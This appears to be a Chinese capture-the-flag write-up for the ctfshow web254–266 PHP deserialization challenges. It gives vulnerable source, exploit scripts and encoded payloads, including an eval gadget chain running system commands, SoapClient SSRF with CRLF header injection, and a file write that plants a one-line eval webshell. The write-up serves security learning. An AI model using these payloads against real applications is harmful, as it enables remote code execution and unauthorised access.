目录
web254
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
payload:/?username=xxxxxx&password=xxxxxx
web255
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
exp:
<?php
class ctfShowUser{
public $isVip=true;
}
print(urlencode((serialize(new ctfShowUser())));
payload
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web256
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
exp
<?php
class ctfShowUser{
public $username='user';
public $password='pass';
public $isVip=true;
}
print (urlencode(serialize(new ctfShowUser())));
payload
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22user%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22pass%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
PHP反序列化的时候首先执行的是__destruct()
exp
<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('tac f*');";
}
print (urlencode(serialize(new ctfShowUser())));
payload
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D
web258
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
[oc] --> 匹配内部某个字符
\d --> 匹配数字
- --> 匹配至少一个
所以这个正则表达式是:
o或者c+:+数字+:
所以在上一个题目的payload上面中间加上+ %2B
payload
%4f%3a%2b%31%31%3a%22%63%74%66%53%68%6f%77%55%73%65%72%22%3a%31%3a%7b%73%3a%35%3a%22%63%6c%61%73%73%22%3b%4f%3a%2b%38%3a%22%62%61%63%6b%44%6f%6f%72%22%3a%31%3a%7b%73%3a%34%3a%22%63%6f%64%65%22%3b%73%3a%31%39%3a%22%73%79%73%74%65%6d%28%22%63%61%74%20%60%6c%73%60%22%29%3b%22%3b%7d%7d
web259
flag.php:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
index.php
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
利用的是php原生类SoapClient
函数构造: public SoapClient :: SoapClient (mixed $wsdl, [array $options ])
首先,由于SoapClient是从本地访问,所以location定义为本地http://127.0.0.1/flag.php
然后我们修改XFF和POST请求,
由于SoapClient在消息头中的位置在Content-Type下面,我们要提交POST请求的时候,就必须控制更上面的函数。
由于SoapClient里面的user_agent是我们能控制的,于是我们可以修改UA伪造一个消息头
我们的期望是:
**先看我们上传的UA头:由于我们的Content-Length设置的是13,那么后面多余的字母都会被忽略,
**
exp:
<?php
$a="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$target = 'http://127.0.0.1/flag.php';
$ans=new SoapClient(null,array('location'=>$target,'uri'=>'a','user_agent' =>$a));
print(urlencode(serialize($ans)));
payload
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22htt%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A140%3A%22ctfshow%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
参考文章:https://zhuanlan.zhihu.com/p/80918004
web260
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
payload
?ctfshow=ctfshow_i_love_36D/
web261
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,
则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
只要满足code==0x36d(877)就可以了。
而code是username和password拼接出来的。
所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱类型比较)
反序列化的时候先执行__unserialize()再执行__destruct()
exp:
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct(){
$this->username='877.php';
$this->password='<?php eval($_GET[1]);?>';
} }
print (urlencode(serialize(new ctfshowvip())));
payload:
O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A23%3A%22%3C%3Fphp+eval%28%24_GET%5B1%5D%29%3B%3F%3E%22%3B%7D
构造文档之后,访问执行一句话木马就行
web262:反序列化字母逃逸
index.php:
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
message.php
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
这个题目有一个漏洞:
非预期解:
直接利用message.php直接修改token=user
exp
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
}
print (base64_encode(serialize(new message())));
payload:Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
预期解:
从index.php出发
由于这个地方,fuck被loveU替换之后,就会少一个字符。那么我们可以构造一个闭合的条件以这个题目为例子:
我们序列化message这个类,需要将token的值变成admin,那么我们需要构造的字符就是:
s:5:"token";s:5:"admin";
正常情况下,
替换之前:
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}
替换之后:
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}
观察这个地方:loveU有5个字母,但是s只显示4个,那么我们就可以逃逸一个字母。
我们把传参改变一下:令$t=fuck"
这个地方的"可以与前面构成闭合
替换前:
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:5:"fuck"";s:5:"token";s:4:"user";}
替换后:
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:5:"loveU"";s:5:"token";s:4:"user";}
看这个loveU正好5个字母,那么后边那个"构成了闭合,所以按照原理上来说,我们可以利用这样的原理逃逸出更多的字母,
先构造要逃逸的内容:
";s:6:"token";s:6:"admin";}
一共27个字母,
那么我们传参:
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web265
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
很明显这里要用变量引用
exp:
<?php
class ctfshowAdmin{
public $token = "cao";
public $password = "cao";
}
$yq1ng = new ctfshowAdmin();
$yq1ng->password =& $yq1ng->token;//引用
echo urlencode(serialize($yq1ng));
payload:
O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A3%3A%22cao%22%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D
web266
<?php
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
注意文本传入
这个地方过滤利用大写绕过即可
exp:
<?php
class ctfshow{
}
$a=new ctfshow();
echo serialize($a);
生成之后改成大写即可
payload:
O:7:"Ctfshow":0:{}
Comments | NOTHING